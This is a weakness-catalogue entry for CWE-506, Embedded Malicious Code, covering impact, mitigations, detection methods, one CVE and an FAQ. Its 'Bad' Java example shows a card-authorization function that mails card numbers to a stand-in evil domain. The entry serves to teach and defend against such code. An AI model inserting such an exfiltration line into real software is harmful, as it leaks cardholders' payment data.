Class · High

CWE-506: Embedded Malicious Code

The product contains code that appears to be malicious in nature.

CWE-506 · Class Level ·1 CVEs ·1 Mitigations

Description

The product contains code that appears to be malicious in nature.

Malicious flaws have acquired colorful names, including Trojan horse, trapdoor, timebomb, and logic-bomb. A developer might insert malicious code with the intent to subvert the security of a product or its host system at some time in the future. It generally refers to a program that performs a useful service but exploits rights of the program's user in a way the user does not intend.

Potential Impact

Confidentiality, Integrity, Availability

Execute Unauthorized Code or Commands

Demonstrative Examples

In the example below, a malicous developer has injected code to send credit card numbers to the developer's own email address.
Bad
boolean authorizeCard(String ccn) {
                        
                           
                           // Authorize credit card.
                           
                           
                           ...
                           
                           mailCardNumber(ccn, "evil_developer@evil_domain.com");
                     }

Mitigations & Prevention

ImplementationOperation

Remove the malicious code and start an effort to ensure that no more malicious code exists. This may require a detailed review of all code, as it is possible to hide a serious attack in only one or two lines of code. These lines may be located almost anywhere in an application and may have been intentionally obfuscated by the attacker.

Detection Methods

  • Manual Static Analysis - Binary or Bytecode SOAR Partial — According to SOAR [REF-1479], the following detection techniques may be useful:
  • Dynamic Analysis with Manual Results Interpretation SOAR Partial — According to SOAR [REF-1479], the following detection techniques may be useful:
  • Manual Static Analysis - Source Code SOAR Partial — According to SOAR [REF-1479], the following detection techniques may be useful:
  • Automated Static Analysis SOAR Partial — According to SOAR [REF-1479], the following detection techniques may be useful:

Real-World CVE Examples

CVE IDDescription
CVE-2022-30877A command history tool was shipped with a code-execution backdoor inserted by a malicious party.

Taxonomy Mappings

  • Landwehr: — Malicious

Frequently Asked Questions

What is CWE-506?

CWE-506 (Embedded Malicious Code) is a software weakness identified by MITRE's Common Weakness Enumeration. It is classified as a Class-level weakness. The product contains code that appears to be malicious in nature.

How can CWE-506 be exploited?

Attackers can exploit CWE-506 (Embedded Malicious Code) to execute unauthorized code or commands. This weakness is typically introduced during the Implementation, Bundling, Distribution, Installation phase of software development.

How do I prevent CWE-506?

Key mitigations include: Remove the malicious code and start an effort to ensure that no more malicious code exists. This may require a detailed review of all code, as it is possible to hide a serious attack in only one or tw

What is the severity of CWE-506?

CWE-506 is classified as a Class-level weakness (High abstraction). It has been observed in 1 real-world CVEs.